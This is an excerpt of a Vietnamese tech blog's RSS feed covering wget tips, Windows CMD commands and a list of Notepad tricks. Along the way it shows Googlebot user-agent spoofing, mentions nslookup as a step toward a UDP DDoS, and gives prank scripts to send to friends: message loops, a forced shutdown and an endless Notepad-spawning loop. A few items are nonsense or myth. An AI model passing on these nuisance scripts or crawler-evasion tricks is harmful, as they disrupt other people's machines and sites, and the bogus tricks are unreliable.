<p><code>wget ‐‐continue ‐‐timestamping website.com/file.zip</code></p>
<p><strong>DOWNLOAD NHIỀU TRANG WEB</strong></p>
<p>Đối tham số này, bạn cần tạo một danh sách trong Notepad hoặc trình soạn thảo văn bản khác. Thêm một URL đầy đủ mới (với http://) vào một dòng riêng biệt. Sau đó trỏ wget đến tập tin. Trong ví dụ này, tôi đặt tên tệp là Filelist.txt và lưu nó trong thư mục wget.</p>
<p><code>wget ‐‐input Filelist.txt</code></p>
<p><strong>DOWNLOAD TOÀN BỘ TRANG WEB</strong></p>
<p><code>wget ‐‐execute robots=off ‐‐recursive ‐‐no-parent ‐‐continue ‐‐no-clobber http://website.com</code></p>
<p>Bạn có thể cố gắng giả mạo các <a href="https://anonyviet.com/?s=user+agent" target="_blank" rel="noopener noreferrer">user agent</a> bằng cách mạo danh Googlebot. Hãy thử gõ này:</p>
<p><code>wget –user-agent="Googlebot/2.1 (+http://www.googlebot.com/bot.html)" -r http://website.com</code></p>
<p><strong>DOWNLOAD MỘT LOẠI TỆP CỤ THỂ TỪ MỘT TRANG WEB</strong></p>
<p><code>wget ‐‐level=1 ‐‐recursive ‐‐no-parent ‐‐accept FILETYPE http://website.com / FILETYPE/</code></p>
<p>Ví dụ: thay đổi FILETYPE cho MP3, MP4, .zip hoặc bất cứ thứ gì bạn thích.</p>
<p><strong>DOWNLOAD TẤT CẢ HÌNH ẢNH TRANG WEB</strong></p>
<p><code>wget ‐‐directory-prefix=files/pictures ‐‐no-directories ‐‐recursive ‐‐no-clobber ‐‐accept jpg,gif,png,jpeg http://website.com/images/</code></p>
<p><strong>KIỂM TRA MỘT TRANG WEB CHO CÁC LIÊN KẾT BỊ HỎNG</strong></p>
<p><code>wget ‐‐output-file=logfile.txt ‐‐recursive ‐‐spider http://website.com</code></p>
<p><strong>TẢI TẬP TIN MÀ KHÔNG LÀM QUÁ TẢI MÁY CHỦ WEB</strong></p>
<p><code>wget ‐‐limit-rate=20k ‐‐wait=60 ‐‐random-wait ‐‐mirror http://website.com</code></p>
<p>Có hàng trăm, nếu không phải là hàng ngàn lệnh wget và AnonyViet liệt kê ra ở đây. Bây giờ bạn đã quen thuộc với công cụ này và cách thức hoạt động của nó, tùy thuộc vào việc bạn sử dụng nó để làm gì!</p>
<div id="gtx-trans" style="position: absolute; left: 139px; top: 141.8px;">
<div class="gtx-trans-icon"></div>
</div>
<h2>Câu hỏi thường gặp</h2>
<h3>Tôi có thể tải wget từ đâu?</h3>
<p>Bạn có thể tải wget từ SourceForge (<a href="https://sourceforge.net/projects/gnuwin32/files/wget/1.11.4-1/" target="_blank" rel="noopener noreferrer">https://sourceforge.net/projects/gnuwin32/files/wget/1.11.4-1/</a>) hoặc Eternallybored (<a href="https://eternallybored.org/misc/wget/" target="_blank" rel="noopener noreferrer">https://eternallybored.org/misc/wget/</a>).  Eternallybored thường được khuyến nghị vì có các phiên bản x86 và x64, và được cập nhật thường xuyên hơn.</p>
<h3>Sau khi tải wget về, tôi cần làm gì để sử dụng nó?</h3>
<p>Bạn cần đặt file <code>wget.exe</code> vào một thư mục (ví dụ: <code>C:\Program Files\wget</code>), sau đó thêm đường dẫn đến thư mục đó vào biến môi trường PATH của Windows.  Điều này cho phép bạn chạy <code>wget</code> từ bất kỳ đâu trong Command Prompt mà không cần phải chỉ định đường dẫn đầy đủ.</p>
<h3>Làm thế nào để sử dụng wget để tải một file?</h3>
<p>Chỉ cần mở Command Prompt và gõ <code>wget [địa chỉ URL của file]</code>. Ví dụ: <code>wget https://www.example.com/file.zip</code> sẽ tải file <code>file.zip</code> từ <code>www.example.com</code>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/huong-dan-cai-dat-wget-tren-windows-de-download-file-giong-linux/feed/</wfw:commentRss>
			<slash:comments>8</slash:comments>
		
		
			</item>
		<item>
		<title>7 lệnh CMD dân IT cần phải biết</title>
		<link>https://anonyviet.com/7-lenh-cmd-dan-can-phai-biet/</link>
					<comments>https://anonyviet.com/7-lenh-cmd-dan-can-phai-biet/#comments</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Tue, 01 Aug 2017 12:20:05 +0000</pubDate>
				<category><![CDATA[Mạng cơ bản]]></category>
		<category><![CDATA[cmd]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[lệnh máy tính]]></category>
		<category><![CDATA[quản trị mạng]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=6045</guid>

					<description><![CDATA[Chỉ cần vài dòng lệnh bạn đã có thể giải quyết được cả 1 vấn đề lớn, thay vì phải click chuột trên các phần mềm có giao diện đồ họa, đôi khi nó không thể hiện trên giao diện Windows, chẳng hạn như lệnh nslookup để tìm địa chỉ IP liên kết với Domain&#8230; [&#8230;]]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><strong>Chỉ cần vài dòng lệnh bạn đã có thể giải quyết được cả 1 vấn đề lớn, thay vì phải click chuột trên các phần mềm có giao diện đồ họa, đôi khi nó không thể hiện trên giao diện Windows, chẳng hạn như lệnh nslookup để tìm địa chỉ IP liên kết với Domain&#8230;</strong></p>
<p style="text-align: justify;">Nếu bạn đang vào sử dụng <strong>PowerShell</strong> hoặc <strong>Command Prompt</strong>, thì việc thực thi các lệnh này đều giống nhau ở cả 2 công cụ. Trong bài viết này AnonyViet chỉ giới thiệu sơ qua 10 lệnh bạn sẽ thường xuyên sử dụng khi giải quyết các vấn đề liên quan đến mạng máy tính.</p>
<h2 style="text-align: justify;"><span style="color: #800080;">ipconfig: Tìm địa chỉ IP máy tính một cách nhanh chóng</span></h2>
<p style="text-align: justify;"><img decoding="async" class="alignnone size-full " src="https://anonyviet.com/wp-content/uploads/2017/08/xtcp_1.png.pagespeed.gpjpjwpjwsjsrjrprwricpmd.ic_.MG36CB80Ac.png" alt="7 lệnh CMD dân IT cần phải biết 8" width="650" height="300" title="7 lệnh CMD dân IT cần phải biết 20"></p>
<p style="text-align: justify;">Bạn có thể tìm thấy địa chỉ IP của bạn từ Control Panel, nhưng phải mất một vài cú nhấp chuột để đạt được điều đó.</p>
<p style="text-align: justify;"><span class="goog-text-highlight">Lệnh <code>ipconfig</code> sẽ giúp bạn nhanh chóng xác định được <strong>địa chỉ IP</strong> máy tính của bạn và các thông tin khác, chẳng hạn như <strong>địa chỉ của Gateway</strong> để biết được mạng của máy tính bạn được dẫn đường ra Intenet bởi IP nào</span></p>
<p style="text-align: justify;">Mở rộng hơn nửa sẽ là lệnh <code>ipconfig /al</code>l , với lệnh này bạn sẽ xem thêm được các thông tin chi tiết về <strong>địa chỉ MAC</strong> của Card mạng, <strong>DNS Server</strong> bạn đang sử dụng&#8230;.</p>
<h2 style="text-align: justify;"><span style="color: #800080;">ipconfig /flushdns: giúp xóa cache DNS</span></h2>
<p style="text-align: justify;"><img decoding="async" class="alignnone size-full " src="https://anonyviet.com/wp-content/uploads/2017/08/xtcp_2.png.pagespeed.gpjpjwpjwsjsrjrprwricpmd.ic_.8e0VMXna1M.png" alt="7 lệnh CMD dân IT cần phải biết 9" width="650" height="221" title="7 lệnh CMD dân IT cần phải biết 21"></p>
<p style="text-align: justify;">Nếu bạn thường xuyên thay đổi DNS nhằm để truy cập Website nhanh hơn, hoặc vào các Website bị chặn bởi nhà mạng. Ví dụ, hồi xưa các bạn thường đổi DNS sang 8.8.8.8 của Google để vào được Facebook. Tuy nhiên sẽ có một số trường hợp <strong>DNS cũ</strong> còn lưu cache (bộ nhớ tạm) để giảm bớt thời gian <strong>hỏi đường</strong> ra Internet, do đó 1 số truy cập Website sẽ không được thực hiện, cho dù bạn đã đổi sang DNS.</p>
<p style="text-align: justify;">Với lệnh <code>ipconfig /flushdns</code> sẽ giúp bạn xóa cache của DNS cũ đi, giúp cho máy tính sẽ thực hiện hỏi đường bằng DNS mới ngay lập tức.</p>
<p style="text-align: justify;">Bạn nên sử dụng lệnh <code>ipconfig /flushdns</code> ngay khi vừa đổi qua 1 DNS khác.</p>
<h2 style="text-align: justify;"><span style="color: #800080;">Ping và Tracert: khắc phục sự cố kết nối mạng</span></h2>
<p style="text-align: justify;"><img decoding="async" class="alignnone size-full " src="https://anonyviet.com/wp-content/uploads/2017/08/xtcp_3.png.pagespeed.gpjpjwpjwsjsrjrprwricpmd.ic_.-e-jLXjD7r.png" alt="7 lệnh CMD dân IT cần phải biết 10" width="650" height="243" title="7 lệnh CMD dân IT cần phải biết 22"></p>
<p style="text-align: justify;">Nếu bạn đang gặp phải vấn đề về kết nối với một trang web hoặc lỗi kết nối mạng, Windows và các hệ điều hành khác đều tích hợp sẵn công cụ giúp bạn xác định tình trạng kết nối mạng trên hệ thống</p>
<h3 style="text-align: justify;"><span style="color: #0000ff;">Lệnh <code>ping</code></span></h3>
<p style="text-align: justify;">Bạn sử dụng cấu trúc <code>ping địa-chỉ-website</code> hoặc<code> ping địa-chỉ-IP </code></p>
<p style="text-align: justify;"><strong>Ví dụ:</strong> <code>ping anonyviet.com</code></p>
<p style="text-align: justify;">Lúc này Windows sẽ gửi các gói tin đến địa chỉ bạn vừa ping, và trên màn hình sẽ xuất hiện các thông số về gói tin được gửi đi, gói tin trả lời, thời gian đáp ứng&#8230;.</p>
<p style="text-align: justify;">Đơn giản nếu thấy <em><span style="color: #008000;">Request time out</span> t</em>hì có nghĩa là đứt kết nối</p>
<p style="text-align: justify;">Còn thấy có <span style="color: #008000;"><em>Reply&#8230;.</em></span> thì là kết  nối được, nếu <span style="color: #008000;"><em>time</em></span> càng cao thì tốc độ kết nối chậm và ngược lại</p>
<h3 style="text-align: justify;"><span style="color: #0000ff;">Lệnh <code>Tracert</code></span></h3>
<p style="text-align: justify;">
<p style="text-align: justify;">Dùng để xác định đường đi mạng của bạn. Ví dụ bạn muốn tìm hiểu, từ máy tính nhà mình, muốn truy cập đến AnonyViet, nó sẽ đi qua các IP nào thì sử dụng lệnh <code>tracert anonyviet.com</code></p>
<p style="text-align: justify;">Ví dụ ở nhà mình IP máy tính sẽ đi đến IP Router Internet rồi đến 1 loạt gateway của VNPT, sau đó đi qua HongKong, rồi mới đến IP của AnonyViet</p>
<p><a href="https://anonyviet.com/wp-content/uploads/2017/08/Capture.jpg"><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2017/08/Capture.jpg" alt="7 lệnh CMD dân IT cần phải biết 11" width="872" height="416" title="7 lệnh CMD dân IT cần phải biết 23"></a></p>
<h2><span style="color: #800080;">Shutdown: hẹn giờ tắt hoặc khởi động lại máy tính</span></h2>
<p>Lệnh này giúp bạn tắt máy theo thời gian định sẵn (tính bằng giây).</p>
<p>Bạn sử dụng với cấu trúc như sau:</p>
<ul>
<li><strong>shutdown /s /f /t 10 :</strong>  Tắt máy tính sau 10 giây</li>
<li><strong>shutdown /r /f /t 10: </strong> Khởi động lại máy tính sau 10 giây</li>
</ul>
<h2><span style="color: #800080;">sfc /scannow: quét lỗi Windows</span></h2>
<p>Đây là lệnh giúp kiểm tra lỗi hệ thống Windows, nếu thiếu file hoặc file hệ thống bị hỏng, chương trình sẽ tự động sữa lỗi và khôi phục lại giúp Windows hoạt động tốt hơn.</p>
<h2><span style="color: #800080;">nslookup: Tìm địa chỉ IP liên kết với một tên miền</span></h2>
<p><img decoding="async" class="alignnone size-full " src="https://anonyviet.com/wp-content/uploads/2017/08/tcp_10.png" alt="7 lệnh CMD dân IT cần phải biết 12" width="650" height="232" title="7 lệnh CMD dân IT cần phải biết 24"></p>
<p>Một tên miền sẽ liên kết với một hoặc nhiều IP nhất định, để xác định IP của tên miền đó là gì bạn có thể sử dụng lệnh <code>nslookup</code></p>
<p>Ví dụ, bạn có thể gõ <code>nslookup anonyviet.com</code>vào Command Prompt để nhanh chóng tìm ra địa chỉ IP được gán cho Server của AnonyViet.</p>
<p>Đây là một cách mà các bạn dùng xác định IP Website để thực hiện DDOS UDP</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/7-lenh-cmd-dan-can-phai-biet/feed/</wfw:commentRss>
			<slash:comments>6</slash:comments>
		
		
			</item>
		<item>
		<title>15 mẹo hay về  NotePad có thể bạn chưa biết</title>
		<link>https://anonyviet.com/15-meo-hay-ve-notepad-co-the-ban-chua-biet/</link>
					<comments>https://anonyviet.com/15-meo-hay-ve-notepad-co-the-ban-chua-biet/#comments</comments>
		
		<dc:creator><![CDATA[Lmint]]></dc:creator>
		<pubDate>Sun, 09 Apr 2017 13:16:55 +0000</pubDate>
				<category><![CDATA[Mẹo Vặt Máy Tính]]></category>
		<category><![CDATA[bạn bè]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hack notepad]]></category>
		<category><![CDATA[hướng dẫn]]></category>
		<category><![CDATA[laptop]]></category>
		<category><![CDATA[máy tính]]></category>
		<category><![CDATA[notepad]]></category>
		<category><![CDATA[pc]]></category>
		<category><![CDATA[phá]]></category>
		<category><![CDATA[tạo virus]]></category>
		<category><![CDATA[thủ thuật]]></category>
		<category><![CDATA[troll]]></category>
		<category><![CDATA[viết code]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=5063</guid>

					<description><![CDATA[15 Tuyệt Kĩ NotePad Về Hack &#38; Commands  Bạn sẽ đam mê Công nghệ hơn nếu biết những thủ thuật notepad dưới đây. Những thủ thuật này sẽ mang lại cho bạn kiến thức, niềm vui với bạn bè ! Những thủ thuật này rất đơn giản và cực kì dễ dàng. Chỉ cần làm [&#8230;]]]></description>
										<content:encoded><![CDATA[<h1 style="text-align: center;"><span style="color: #d91139;">15 Tuyệt Kĩ NotePad Về Hack &amp; Commands </span></h1>
<p>Bạn sẽ đam mê Công nghệ hơn nếu biết những thủ thuật notepad dưới đây. Những thủ thuật này sẽ mang lại cho bạn kiến thức, niềm vui với bạn bè ! Những thủ thuật này rất đơn giản và cực kì dễ dàng. Chỉ cần làm theo hướng dẫn dưới đây của AnonyViet</p>
<ul>
<li><span style="color: #29ab59;">Đảm bảo 100% các bạn đều có thể thực hiện được !</span></li>
<li><span style="color: #2566ba;">NotePad ( Tool soạn thảo được tích hợp sẵn trên Windows) là công cụ duy nhất bạn cần để thực hiện việc này !</span></li>
</ul>
<h2><span style="color: #29ab59;">Hướng Dẫn</span></h2>
<p>Bạn chỉ cần sao chép các đoạn mã dưới đây vào NotePad và <span style="color: #d91139;">lưu lại với đuôi tùy theo yêu cầu</span> của từng code bên dưới là được.</p>
<h3><span style="color: #2566ba;">#1 Thử Nghiệm Antivirus Với NotePad </span></h3>
<p>Bằng cách này bạn sẽ biết được chương trình <span style="color: #29ab59;">AntiVirus của bạn có đang hoạt động tốt hay không</span></p>
<pre class="lang:default decode:true ">X5O!P%@AP[4PZX54(P^) 7CC)7}$EICAR-STANDARD- ANTIVIRUS-TEST-FILE!$H+H*</pre>
<p>Bạn lưu nó lại với đuôi <span style="color: #d91139;">.exe</span> và chạy thử.<br />
Nếu chương trình Antivirus phát hiện được thì chứng tỏ nó đang hoạt động tốt. Code này <strong><span style="color: #29ab59;">không gây hại cho máy tính của bạn</span></strong></p>
<h3><span style="color: #2566ba;">#2 Tạo nhật ký cá nhân với NotePad</span></h3>
<p>Sao chép mã dưới đây và lưu với đuôi <span style="color: #d91139;">.txt</span></p>
<pre class="lang:default decode:true" title="Copy trực tiếp để tránh lỗi">.LOG</pre>
<p>Bây giờ mỗi khi bạn mở tệp nhật kí này bạn sẽ thấy các chi tiết nhật kí ngày và giờ ngay bên dưới ghi chú mới của bạn.</p>
<h3><span style="color: #2566ba;">#3 Tạo hộp thoại lời nhắn lặp lại tuần hoàn</span></h3>
<pre class="lang:default decode:true" title="Copy để tránh lỗi">@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN</pre>
<p>Phía sau msg * bạn có thể sửa thành lời nhắn của bạn.<br />
Lưu lại với đuôi <span style="color: #d91139;">.bat</span></p>
<h3><span style="color: #2566ba;">#4 Auto mở ổ đĩa CD của máy tính</span></h3>
<pre class="lang:default decode:true" title="copy để tránh lỗi">Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count &gt;= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop</pre>
<p>Cho dù đối phương cố gắng đóng ổ đĩa lại thì nó vẫn sẽ bật trở ra !<br />
Cái này thú vị khi dùng đi troll bạn bè. Lưu lại với đuôi <span style="color: #d91139;">.vbs</span></p>
<h3><span style="color: #2566ba;">#5 Hiện một tin nhắn và tắt máy tính</span></h3>
<pre class="lang:default decode:true ">@echo off
msg * Hey how are you
shutdown -c “Error! You are really a stupid!” -s</pre>
<p>Phía sau msg * bạn có thể đổi thành<span style="color: #29ab59;"> tin nhắn theo ý bạn.</span><br />
Lưu lại với đuôi <span style="color: #d91139;">.bat</span></p>
<h3><span style="color: #2566ba;">#6 Giảm tốc độ gõ phím trên máy tính</span></h3>
<pre class="lang:default decode:true ">WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject (“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate Notepad“”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “</pre>
<p>Bạn lưu lại với đuôi <span style="color: #d91139;">.vbs</span></p>
<h3><span style="color: #2566ba;">#7 Hiệu ứng ma trận (Maxtric)</span></h3>
<pre class="lang:default decode:true ">@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start</pre>
<p>Lưu lại với đuôi <span style="color: #d91139;">.bat</span></p>
<h3><span style="color: #2566ba;">#8 Chuyển Đổi Văn Bản Sang Âm Thanh</span></h3>
<pre class="lang:default decode:true ">Dim message, sapi message=InputBox(“Text”,”Text”) Set sapi=CreateObject(“sapi.spvoice”) sapi.Speak message</pre>
<p>Thay đổi chữ Text thành văn bản của bạn. Lưu lại với đuôi<span style="color: #d9114a;"> .vbs</span></p>
<h3><span id="10Notepad_Trick_Print_Tree_Root" style="color: #2566ba;">#9 Mẹo của Notepad In cây gốc</span></h3>
<pre class="lang:default decode:true ">{print tree root}
C:windowssystem
{print C:windowssystemwinlog
4*43″$@[455] 3hr4~</pre>
<p>Thủ thuật này là một trong những Best Notepad Trick sẽ in ra cây gốc trên màn hình của bạn. Chỉ cần sao chép dưới đây mã, dán nó vào notepad và lưu nó như teekids trong <span style="color: #d91139;">C: hệ thống cửa sổ.</span></p>
<h3><span id="11_Toggle_Your_Capslock" style="color: #2566ba;">#10 Làm Điên Nút Capslock của bạn</span></h3>
<pre class="lang:default decode:true">Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop</pre>
<p>Bạn có thể chuyển đổi phím <span style="color: #2566ba;">Capslock</span> của bàn phím bằng cách gõ mã trong Notepad. Lưu lại với đuôi <span style="color: #d91139;">.vbs </span></p>
<h3><span style="color: #2566ba;">#11 Giả Mạo Hộp Thoại Lỗi </span></h3>
<p>Đơn giản chỉ cần mở notepad dán mã và lưu các tập tin với đuôi .vbs<br />
Bạn có thể chỉnh sửa ljai nội dung theo ý bạn ở phần <span style="color: #d91139;">&#8220;<strong>Put &#8230;.</strong> &#8220;</span><br />
Bây giờ khi bạn mở tập tin đã lưu, bạn sẽ thấy một thông báo lỗi.</p>
<pre class="lang:default decode:true">X=Msgbox(“Put your Message Here”,0+16,”Put Title Here”)</pre>
<h3><span id="13_LED_Dance_of_Keyboard_Using_Notepad" style="color: #2566ba;">#12 LED Dance của Bàn phím</span></h3>
<p>Đơn giản chỉ cần mở Notepad và nhập đoạn mã sau và lưu với đuôi<span style="color: #e8106a;"> .vbs</span></p>
<pre class="lang:default decode:true">Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop</pre>
<p>Một khi bạn mở tập tin đã lưu, bạn sẽ thấy cả ba đèn LED của bàn phím sẽ bắt đầu <span style="color: #29ab59;">nhấp nháy liên tục</span></p>
<h3><span id="14Create_a_Password_Protected_File_Using_Notepad" style="color: #2566ba;">#13 Mở NotePad liên tục</span></h3>
<p>Đây là trò đùa hoàn hảo để làm phiền bạn của bạn.<br />
Bạn có thể gửi nó cho bạn bè và khiến họ tức tối !!</p>
<pre class="lang:default decode:true ">@ECHO OFF
:TOP
START %SYSTEMROOT%\SYSTEM32\NOTEPAD.EXE
GOTO TOP</pre>
<p>Lưu lại với đuôi<span style="color: #d9114a;"> .<span style="color: #d91139;">bat</span></span></p>
<h3><span style="color: #2566ba;">#14 Mô phỏng lại cuộc tấn công thương mại</span></h3>
<p>Số chuyến bay của máy bay đã rơi vào trung tâm Thương mại Thế giới vào ngày 9/11 là Q33NY. Vâng, bạn có thể gọi sự trùng hợp ngẫu nhiên này, nhưng nó sẽ gây sốc cho bạn.</p>
<p><span style="color: #e8106a;"><strong>Bước 1</strong></span> Mở Notepad và gõ [su_highlight color=&#8221;#f70628&#8243;]Q33N[/su_highlight]</p>
<p><span style="color: #e8106a;"><strong>Bước 2</strong></span><span style="color: #e8106a;"> </span>Bây giờ tăng kích thước phông chữ lên <span style="color: #29ab59;"><strong>72</strong></span> và thay đổi phông chữ thành <span style="color: #29ab59;"><strong>Wingding</strong></span></p>
<p>Bạn sẽ bị sốc khi tìm ra đồ họa thị giác. Bạn đã tin chuyến bay đó là chuyến bay tử thần chưa ???</p>
<p style="text-align: right;"><span style="color: #29ab59;">AnonyViet &#8211; Better And Better</span></p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/15-meo-hay-ve-notepad-co-the-ban-chua-biet/feed/</wfw:commentRss>
			<slash:comments>8</slash:comments>
		
		
			</item>
		<item>
		<title>10 lệnh hữu ích trong Windows bạn nên biết</title>
		<link>https://anonyviet.com/10-lenh-huu-ich-trong-windows-ban-nen-biet/</link>
					<comments>https://anonyviet.com/10-lenh-huu-ich-trong-windows-ban-nen-biet/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Sat, 02 Jan 2016 01:24:05 +0000</pubDate>
				<category><![CDATA[Windows 7/8/10/11]]></category>
		<category><![CDATA[cmd]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[lệnh]]></category>
		<guid isPermaLink="false">http://anonyviet.com/?p=1030</guid>

					<description><![CDATA[Có một số việc bạn chỉ có thể thực hiện từ việc gõ dòng lệnh trong Command Prompt hoặc PowerShell, trong khi đó các công cụ này không có tương tác đồ họa và khó sử dụng hơn so với những chương trình có giao diện cụ thể. Lý do chính là Command Prompt được [&#8230;]]]></description>
										<content:encoded><![CDATA[<div class="content-detail">
<p><span data-mce-mark="1"><strong>Có một số việc bạn chỉ có thể thực hiện từ việc gõ dòng lệnh trong Command Prompt hoặc PowerShell, trong khi đó các công cụ này không có tương tác đồ họa và khó sử dụng hơn so với những chương trình có giao diện cụ thể.</strong></span></p>
<p>Lý do chính là <strong>Command Prompt</strong> được sử dụng để thực thi tệp tin batch, thực hiện các tác vụ một cách nhanh chóng, giúp bạn gỡ rối và giải quyết một số vấn đề của Windows khi hệ thống gặp sự cố. Tuy vậy, không phải hầu hết các lệnh trong Windows đều hữu ích và thường xuyên phải thực hiện. Với 10 dòng lệnh trong bài viết dưới đây rất có ích ngay cả khi bạn không phải là một người quản trị.<span id="more-1030"></span></p>
<p>Cách mở Command Prompt: Vào Start-&gt;Run-&gt;gõ cmd hoặc nhấn phím Windows + R</p>
<p><img decoding="async" title="Command Prompt" src="http://quantrimang.com/photos/image/082013/08/Lenh-Windows-1.jpg" alt="10 lệnh hữu ích trong Windows bạn nên biết" width="587" height="249" /></p>
<h2>Ipconfig: Tìm hoặc thay đổi nhanh địa chỉ IP máy tính</h2>
<p>Tuy bạn có thể tìm thấy địa chỉ IP của máy tính từ trong Control Panel, nhưng điều này cần phải thông qua một vài cú nhấp chuột. <strong>Lệnh ipconfig</strong> trong cửa sổ Command Prompt là cách nhanh nhất để xác định địa chỉ IP và các thông tin khác như địa chỉ Gateway mặc định, Subnet Mask.</p>
<p><img decoding="async" title="Lệnh ipconfig" src="http://quantrimang.com/photos/image/082013/08/Lenh-Windows-2.jpg" alt="10 lệnh hữu ích trong Windows bạn nên biết" width="594" height="251" /></p>
<h2>Ipconfig /flushdns: Xóa toàn bộ dữ liệu trong bộ nhớ DNS</h2>
<p>Nếu bạn thay đổi DNS server, hiệu ứng sẽ không nhất thiết phải diễn ra ngay lập tức. Khi đó Windows sử dụng một bộ nhớ đệm (cache) để lưu lại các phản ứng DNS nhận được nhằm tiết kiệm thời gian khi bạn truy cập vào địa chỉ cũ một lần nữa trong tương lai.</p>
<p>Như vậy để đảm bảo Windows nhận địa chỉ từ một DNS server mới thay vì sử dụng địa chỉ cũ trong cache, bạn chỉ cần chạy lệnh<strong> ipconfig /flushdns</strong> sau khi thay đổi DNS server của mình.</p>
<p><img decoding="async" title="Lệnh ipconfig /flushdns" src="http://quantrimang.com/photos/image/082013/08/Lenh-Windows-3.jpg" alt="10 lệnh hữu ích trong Windows bạn nên biết" width="596" height="145" /></p>
<h2>Ping: Kiểm tra kết nối với một máy tính khác</h2>
<p>Khi gặp các vấn đề về kết nối với một trang web hoặc một máy tính khác trong mạng nội bộ, Windows đã cung cấp sẵn một lệnh giúp bạn test các kết nối để xác định tình trạng của mạng đó là <strong>lệnh Ping.</strong> Chỉ cần <strong>gõ Ping</strong> cùng với một <strong>địa chỉ IP hoặc địa chỉ trang web</strong> và <strong>Enter</strong> là xong.</p>
<p><img decoding="async" title="Lệnh Ping" src="http://quantrimang.com/photos/image/082013/08/Lenh-Windows-4.jpg" alt="10 lệnh hữu ích trong Windows bạn nên biết" width="594" height="183" /></p>
<h2>Shutdown: Tạo một Shortcut tắt máy nhanh trong Windows 8/10</h2>
<p><strong>Lệnh Shutdown</strong> rất hữu ích trong <strong>Windows 8/10</strong>, bạn có thể sử dụng nó để tạo ra các shortcut cho riêng mình và đặt chúng trên màn hình Start Screen hoặc Desktop để dễ dàng tắt hoặc khởi động lại máy mà không cần phải truy cập vào thanh Charms.</p>
<p>Để thực hiện, hãy tạo một shortcut và nhập <strong>shutdown /s /t 0</strong> nếu muốn tắt máy và<strong>shutdown /r /t 0</strong> nếu muốn khởi động lại máy.</p>
<p><img decoding="async" title="Nhập shutdown /s /t 0 nếu muốn tắt máy" src="http://quantrimang.com/photos/image/082013/08/Lenh-Windows-5.jpg" alt="10 lệnh hữu ích trong Windows bạn nên biết" width="624" height="257" /></p>
<h2>Recimg: Tạo điểm phục hồi tùy chỉnh trong Windows 8/10</h2>
<p>Tính năng <strong>Refresh Your PC</strong> trong Windows 8 cho phép bạn phục hồi lại máy tính về trạng thái ban đầu từ một bản cài đặt Windows gọn nhất hoặc từ nhà sản xuất.</p>
<p>Bạn có thể tạo một điểm phục hồi tùy chỉnh tùy theo ý mình nhưng tính năng này lại bị ẩn trong Windows, vì vậy cần phải thực hiện với <strong>lệnh Recimg</strong> từ Command Prompt. Khi thực hiện lệnh này, bạn có thể loại bỏ bloatware cài đặt từ nhà sản xuất hoặc thêm các chương trình yêu thích vào điểm phục hồi của mình.</p>
<p><img decoding="async" title="Lệnh Recimg" src="http://quantrimang.com/photos/image/082013/08/Lenh-Windows-6.jpg" alt="10 lệnh hữu ích trong Windows bạn nên biết" width="616" height="288" /></p>
<h2>Wbadmin start backup: Tạo ảnh phục hồi hệ thống</h2>
<p>Như bạn đã biết, <strong>Windows 8.1</strong> đã loại bỏ giao diện Backup của <strong>Windows 7</strong> – Nơi cho phép bạn dễ dàng tạo ảnh sao lưu hệ thống để phục hồi khi cần thiết. Ảnh hệ thống (System images) chứa một bản chụp lại toàn bộ hệ thống dưới một tệp tin duy nhất, do đó nó khác với<strong> Recovery Images</strong> của Windows 8.</p>
<p>Trong khi giao diện đồ họa đã được gỡ bỏ, quản trị hệ thống và chuyên viên máy tính vẫn có thể tạo ra bản sao lưu hệ thống bằng cách chạy <strong>lệnh Wbadmin start backup</strong> trong công cụ <strong>PowerShell.</strong></p>
<p><strong><img decoding="async" title="Lệnh Wbadmin start backup" src="http://quantrimang.com/photos/image/082013/08/Lenh-Windows-7.jpg" alt="10 lệnh hữu ích trong Windows bạn nên biết" width="631" height="253" /><br />
</strong></p>
<h2>Sfc /Scannow: Quét các tệp tin hệ thống</h2>
<p>Windows bao gồm một công cụ gọi là <strong>System files checker</strong> dùng để quét toàn bộ các tệp tin hệ thống và tìm ra các vấn đề. Nếu các tệp tin hệ thống bị mất hoặc bị hỏng, công cụ này sẽ tự động sửa chúng. Để sử dụng System files checker, bạn hãy<strong>mở cửa sổ lệnh Command Prompt</strong> và gõ<strong> sfc /scannow.</strong></p>
